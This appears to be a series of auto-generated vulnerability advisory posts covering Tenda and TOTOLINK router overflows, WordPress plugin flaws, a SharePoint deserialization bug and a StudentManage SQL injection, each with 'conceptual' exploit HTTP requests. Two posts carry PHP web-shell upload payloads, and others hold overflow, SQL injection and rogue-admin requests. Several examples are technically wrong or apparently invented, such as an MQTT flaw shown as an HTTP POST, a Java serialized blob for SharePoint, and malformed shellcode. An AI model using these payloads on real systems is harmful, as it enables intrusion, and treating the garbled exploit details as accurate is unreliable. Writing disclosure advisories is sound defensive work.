Author: Ameeba

CVE-2025-7853: Critical Buffer Overflow Vulnerability in Tenda FH451 1.0.0.9
Overview

In the rapidly evolving world of cybersecurity, the discovery of new vulnerabilities is a common occurrence. One such vulnerability, CVE-2025-7853, has been recently identified in the Tenda FH451 1.0.0.9, posing a significant threat to the integrity and security of systems worldwide. This critical vulnerability affects the function fromSetIpBind of the file /goform/SetIpBind and can lead to a stack-based buffer overflow.
The severity of this vulnerability stems from its potential to compromise entire systems or lead to data leakage. As it can be exploited remotely, it requires immediate attention and mitigation to prevent attackers from gaining unauthorized access or causing extensive damage.

Vulnerability Summary

CVE ID: CVE-2025-7853
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The exploit works by manipulating the ‘page’ argument in the fromSetIpBind function. This function is part of the SetIpBind file, which is vital for the operation of the Tenda FH451. By sending a specially crafted request that overflows the buffer, an attacker can cause undefined behavior in the system, which can include overwriting important data, crashing the system, or even executing arbitrary code.

Conceptual Example Code

Here is a
conceptual
example of how this vulnerability might be exploited:
```
POST /goform/SetIpBind HTTP/1.1
Host: vulnerable-device-ip
Content-Type: application/x-www-form-urlencoded
page=AAAA... [long string of 'A's to overflow the buffer]
```
In this example, the ‘page’ argument is filled with a long string of ‘A’s. If the buffer in the fromSetIpBind function is not properly sized or protected, this could lead to buffer overflow and potential system compromise.

Mitigation

The recommended course of action is to apply the patch provided by the vendor. In cases where application of the patch is not immediately feasible, temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can help identify and block malicious traffic, providing an additional layer of security against this vulnerability.
July 25, 2025
CVE-2025-7837: Critical Vulnerability in TOTOLINK T6 Potentially Leading to System Compromise
Overview

A critical vulnerability, identified as CVE-2025-7837, has recently been discovered in TOTOLINK T6 version 4.1.5cu.748_B20211015. This cybersecurity flaw has been classified as a severe threat due to its potential to compromise systems and leak sensitive data. In a world where digital security is paramount, such vulnerabilities can have serious implications on both a personal and organizational level, making this a matter of high importance.
The vulnerability affects the function recvSlaveStaInfo within the MQTT Service component of the TOTOLINK T6. The manipulation of the argument ‘dest’ can lead to buffer overflow, which could potentially be exploited by attackers to gain unauthorized access, disrupt services, or pilfer confidential data.

Vulnerability Summary

CVE ID: CVE-2025-7837
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK T6 | 4.1.5cu.748_B20211015

How the Exploit Works

The vulnerability arises from an issue in the recvSlaveStaInfo function of the MQTT Service component of the TOTOLINK T6. Specifically, the manipulation of the ‘dest’ argument can cause a buffer overflow. Buffer overflows occur when a program writes more data to a fixed-length block of memory, or buffer, than it can hold. The extra data overwrites adjacent memory locations, potentially leading to erratic program behavior, crashes, or even the execution of malicious code.
The exploit can be launched remotely over a network without any requirement for user interaction or privileges, making it a significant threat to unpatched systems.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a specially crafted MQTT message:
```
POST /mqtt/recvSlaveStaInfo HTTP/1.1
Host: affected-device-ip
Content-Type: application/json
{
"dest": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
}
```
In the above example, the “dest” field is filled with an excessively long string, causing a buffer overflow in the handling program. Please note that the actual exploit will likely involve much more complex programming techniques and this example is provided only for conceptual understanding.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it becomes available. In the interim, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can help detect and prevent attempts to exploit this vulnerability.
July 25, 2025
CVE-2015-10139: Privilege Escalation Vulnerability in WPLMS Theme for WordPress
Overview

As part of our ongoing endeavor to keep you informed about the latest cybersecurity vulnerabilities, we bring to your attention an important vulnerability identified as CVE-2015-10139. This security loophole affects the WPLMS theme for WordPress, specifically versions 1.5.2 to 1.8.4.1. This vulnerability matters because it enables privilege escalation, leaving the potential for system compromise or data leakage. This implies that an authenticated attacker could alter restricted settings and potentially create a new, accessible admin account.

Vulnerability Summary

CVE ID: CVE-2015-10139
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise, data leakage, and unauthorized access to admin account

Affected Products

Product | Affected Versions

WPLMS Theme for WordPress | 1.5.2 to 1.8.4.1

How the Exploit Works

The vulnerability lies in the ‘wp_ajax_import_data’ AJAX action of the WPLMS theme for WordPress. An attacker, who is authenticated, can use this action to escalate their privileges. This security loophole gives the attacker the ability to change settings that are generally restricted. The most worrisome aspect of this vulnerability is that it could potentially be used to create a new, accessible admin account – giving the attacker full control of the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. Note that this is a simplified example and actual exploit code may vary.
```
POST /wp_ajax_import_data HTTP/1.1
Host: targetsite.com
Content-Type: application/json
{
"action": "import_data",
"user_role": "admin",
"new_user": "attacker",
"new_password": "password123"
}
```
In this example, the attacker sends a POST request to the ‘wp_ajax_import_data’ endpoint, with a JSON payload that includes an action to import data, a user role set to ‘admin’, and details for the new user.
This code could lead to an unauthorized admin account being created, giving the attacker full control over the targeted WordPress site.

Mitigation and Recommendations

The best course of action to protect your systems from this vulnerability is to apply the vendor patch as soon as possible. If immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation. Regular vulnerability scanning and patching routines are recommended to keep systems secure from known vulnerabilities.
July 25, 2025
CVE-2025-53770: Critical Deserialization Vulnerability in Microsoft SharePoint Server
Overview

The CVE-2025-53770 is a severe vulnerability discovered in Microsoft SharePoint Server that allows unauthorized attackers to execute harmful code over a network by deserializing untrusted data. This vulnerability primarily affects organizations using on-premises Microsoft SharePoint Server, posing a substantial threat to their system security. Remediation of this vulnerability is of paramount importance as an exploit for this flaw already exists in the wild, increasing the risk of system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53770
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft SharePoint Server | All on-premises versions

How the Exploit Works

The vulnerability stems from the deserialization of untrusted data in Microsoft SharePoint Server. Deserialization is a process that converts a byte stream into an object. In this case, an attacker sends a serialized object containing malicious code to the server. The server, not properly validating or checking the data it’s deserializing, executes the harmful code, thereby granting the attacker the ability to perform actions on the system such as installing programs, deleting data, or creating new accounts with full user rights.

Conceptual Example Code

Here is a
conceptual
example of how the vulnerability might be exploited. This is a simplified example and actual exploit code may be more complex.
```
POST /SharePoint/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "serialized_object": "rO0ABXNyABdqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAACAAAAAQAAAATlQAFm1hbGljaW91c19jb2RlX3RvX2JlX2V4ZWN1dGVk" }
```
In this example, the attacker sends a POST request to a SharePoint endpoint with a serialized object in the body of the request. This serialized object (encoded in Base64 for simplicity) contains malicious code that would be executed upon deserialization on the server side.
Remember, this vulnerability can result in serious implications for system security, and it’s critical to apply the vendor patch or use WAF/IDS as a temporary mitigation until Microsoft releases a comprehensive update.
July 25, 2025
CVE-2025-7807: Critical Buffer Overflow Vulnerability in Tenda FH451 1.0.0.9 Router
Overview

This post brings to light a highly critical vulnerability found in the Tenda FH451 1.0.0.9 router. Identified as CVE-2025-7807, this security flaw poses a significant risk to all users of the affected router. An attacker can exploit this vulnerability remotely to trigger a stack-based buffer overflow that can potentially compromise the entire system or lead to data leakage.
Considering the severity of the impact and the fact that the vulnerability details are now public, it is absolutely crucial for users and administrators to take immediate steps to mitigate this risk. A failure to do so could result in severe consequences, including unauthorized system access, data breaches, and potential disruption of network services.

Vulnerability Summary

CVE ID: CVE-2025-7807
Severity: Critical, with a CVSS score of 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability resides in the fromSafeUrlFilter function of the /goform/SafeUrlFilter file in the Tenda FH451 1.0.0.9 router. The improper handling of the Go/page argument within this function can lead to a stack-based buffer overflow.
A buffer overflow occurs when more data is put into a buffer than it can handle, causing the extra data to overflow into adjacent memory locations. In this case, an attacker can craft and send a specially formatted request to the vulnerable function, causing a buffer overflow. This can allow the execution of arbitrary code, leading to potential system compromise or data leakage.

Conceptual Example Code

The following conceptual code illustrates how an attacker might exploit this vulnerability. Note that this is a simplified example and real-world exploits might be more complex and difficult to detect.
```
POST /goform/SafeUrlFilter HTTP/1.1
Host: target_router_ip
Content-Type: application/x-www-form-urlencoded
Go/page=[MALICIOUS_PAYLOAD]
```
In the above example, [MALICIOUS_PAYLOAD] would be replaced with a specially crafted string that causes a buffer overflow in the SafeUrlFilter function.

Mitigation

Users and administrators are advised to apply the vendor patch as soon as it is available. In the meantime, utilizing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can help detect and block attempts to exploit this vulnerability. However, they are not a permanent solution and should be used in conjunction with other security measures, such as patch management and regular software updates.
July 25, 2025
CVE-2025-7806: Critical Stack-based Buffer Overflow in Tenda FH451 1.0.0.9
Overview

A critical vulnerability, identified as CVE-2025-7806, has been discovered in Tenda FH451 1.0.0.9. This remote exploit revolves around the manipulation of the ‘Go/page’ argument in the function fromSafeClientFilter of the file ‘/goform/SafeClientFilter’ leading to a stack-based buffer overflow. This vulnerability poses a significant threat to the integrity, availability, and confidentiality of the affected system, potentially leading to a system compromise or data leakage. It is crucial for IT administrators and security professionals to understand the nature of this vulnerability and take the necessary steps to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-7806
Severity: Critical – CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability arises from an uncontrolled buffer in the function fromSafeClientFilter. An attacker can manipulate the ‘Go/page’ argument when sending a request to the ‘/goform/SafeClientFilter’ file. This action results in a buffer overflow in the stack, which could allow the attacker to execute arbitrary code in the context of the application.

Conceptual Example Code

Here’s an example of how an attacker might exploit this vulnerability. Please note that this is a conceptual example and does not represent an actual exploit code:
```
POST /goform/SafeClientFilter HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Go/page=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (continues to fill the buffer)
```
In the above example, the ‘Go/page’ parameter is filled with an excessive amount of ‘A’ characters, causing the stack buffer to overflow.

Mitigation

Tenda has released a patch to address this issue, and it is strongly recommended to apply this patch as soon as possible. If this is not an immediate option, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring and blocking suspicious traffic patterns that may indicate an attempt to exploit this vulnerability. However, these are temporary solutions and will not provide complete protection against the vulnerability. As such, updating to the patched version remains the best course of action.
July 25, 2025
CVE-2025-7805: Critical Vulnerability in Tenda FH451 1.0.0.9 Leading to Remote Buffer Overflow Attacks
Overview

A critical cybersecurity vulnerability, CVE-2025-7805, has been identified in Tenda FH451 1.0.0.9. This vulnerability has the potential to impact any organization or user operating this version of the product, posing a significant risk to sensitive data and system integrity. The issue resides in the fromPptpUserSetting function of the file /goform/PPTPUserSetting, which can be exploited to initiate stack-based buffer overflow attacks remotely. Given its severity and potential for remote exploitation, this vulnerability demands immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-7805
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability stems from the manipulation of the “delno” argument in the fromPptpUserSetting function. Insecure handling of this argument allows an attacker to overflow the stack buffer, corrupting data and potentially overwriting the return pointer or function pointers to redirect execution to the attacker’s code. This could lead to unauthorized access, system compromise, and data leakage.

Conceptual Example Code

The following is a conceptual representation of how an HTTP request exploiting this vulnerability could look:
```
POST /goform/PPTPUserSetting HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
delno=%cc%x90x90x90...[more malicious shell code]
```
The above payload represents a buffer overflow attack where “%cc%” might be used to overwrite the return pointer, and “x90x90x90…” could be a NOP sled leading to the malicious shellcode.

Mitigation

It is crucial for users of Tenda FH451 1.0.0.9 to apply the vendor patch as soon as possible to fix this vulnerability. In the absence of a patch, or until it can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation measures. These systems should be configured to monitor and block any suspicious activity related to the /goform/PPTPUserSetting endpoint. The CVE’s criticality and its public disclosure underscore the urgency of these remediation steps.
July 25, 2025
CVE-2025-50585: SQL Injection Vulnerability in StudentManage v1.0
Overview

A serious security vulnerability has been identified in StudentManage v1.0, a popular student management software application. This vulnerability, designated as CVE-2025-50585, exposes the system to potential SQL injection attacks. SQL injection is a code injection technique that attackers use to insert malicious SQL statements into input fields for execution. This can lead to unauthorized viewing of user lists, modification of important data, transaction control, or even issues that could compromise the entire system. With a CVSS Severity Score of 8.8, this vulnerability signifies a high level of risk and urgency.

Vulnerability Summary

CVE ID: CVE-2025-50585
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

StudentManage | v1.0

How the Exploit Works

The exploit takes advantage of inadequate input validation and sanitization in the /admin/adminStudentUrl component of StudentManage v1.0. By crafting a malicious SQL statement, an attacker can manipulate the software’s database queries. This can lead to unauthorized access to sensitive data, modification of data, or even execution of arbitrary commands with the privileges of the application.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit the vulnerability. In this example, the attacker sends a POST request to /admin/adminStudentUrl with a malicious payload designed to reveal all records in the database.
```
POST /admin/adminStudentUrl HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "studentId": "1; SELECT * FROM students;" }
```
In this example, the ‘studentId’ parameter is manipulated to include a SQL statement (SELECT * FROM students;), which would return all records from the ‘students’ table if executed.

Mitigation Guidance

It is highly recommended that users of StudentManage v1.0 immediately apply the vendor-provided patch to address this vulnerability. In the interim, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation against potential SQL injection attacks exploiting this vulnerability. However, these measures should be considered temporary, and patching the software should be treated as a priority.
July 25, 2025
CVE-2015-10138: High-Risk Arbitrary File Upload Vulnerability in Work The Flow File Upload plugin
Overview

This blog post shines a spotlight on a high-risk vulnerability, CVE-2015-10138, in the Work The Flow File Upload plugin for WordPress. This vulnerability, which affects versions up to and including 2.5.2, allows for arbitrary file uploads due to a lack of file type validation in the jQuery-File-Upload-9.5.0 server and test files. As it affects a popular WordPress plugin, it has the potential to impact a significant number of websites. This vulnerability is especially concerning as it could allow unauthenticated attackers to upload arbitrary files on the affected site’s server, leading to possible remote code execution.

Vulnerability Summary

CVE ID: CVE-2015-10138
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Work The Flow File Upload plugin for WordPress | Versions up to and including 2.5.2

How the Exploit Works

The vulnerability allows an attacker to upload arbitrary files due to missing file type validation in the jQuery-File-Upload-9.5.0 server and test files. This means that an attacker could upload a malicious file, such as a web shell, that could then be executed on the server. This could lead to a complete system compromise, enabling the attacker to execute commands on the server, access sensitive data, or propagate further malicious activity.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example shows a malicious HTTP request that uploads a web shell:
```
POST /wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/ HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files[]"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, “shell.php” is a simple web shell that executes commands passed via the ‘cmd’ GET parameter. Once uploaded, the attacker could trigger the shell by navigating to “http://target.example.com/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/shell.php?cmd=[command]”.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or monitor for suspicious activity can serve as a temporary mitigation. Regularly updating and patching software, limiting the privileges of web-facing applications, and monitoring network traffic for unusual activity can also help prevent exploitation of this vulnerability.
July 25, 2025
CVE-2016-15043: WP Mobile Detector Plugin for WordPress Arbitrary File Upload Vulnerability
Overview

The CVE-2016-15043 is a high-severity vulnerability that particularly affects the WP Mobile Detector plugin for WordPress. This vulnerability is due to the lack of file type validation in the resize.php file in versions up to and including 3.5. Given the popularity of WordPress as a content management system (CMS), a large number of websites could potentially be affected. This vulnerability matters because it potentially allows unauthenticated attackers to upload arbitrary files to the server of the affected site, potentially enabling remote code execution.

Vulnerability Summary

CVE ID: CVE-2016-15043
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: The exploitation of this vulnerability could lead to system compromise or data leakage

Affected Products

Product | Affected Versions

WP Mobile Detector plugin for WordPress | Up to and including 3.5

How the Exploit Works

The vulnerability exists due to improper file type validation in the resize.php file of the WP Mobile Detector plugin. An attacker can exploit this vulnerability by sending specially crafted HTTP requests. This would allow the attacker to upload arbitrary files to the server of the affected site, potentially enabling remote code execution. Given that no authentication is required to exploit this vulnerability, any unauthenticated attacker could potentially compromise the system or cause data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability could be exploited. This example demonstrates a HTTP request where an attacker uploads a malicious file.
```
POST /wp-content/plugins/wp-mobile-detector/resize.php HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1234
------WebKitFormBoundary1234
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php
// malicious payload
system($_GET['cmd']);
?>
------WebKitFormBoundary1234--
```
In the above example, the attacker sends a POST request to the resize.php script with a malicious PHP file. Once uploaded, the attacker can execute arbitrary commands on the server by simply accessing the uploaded file with an appropriate `cmd` parameter.
July 25, 2025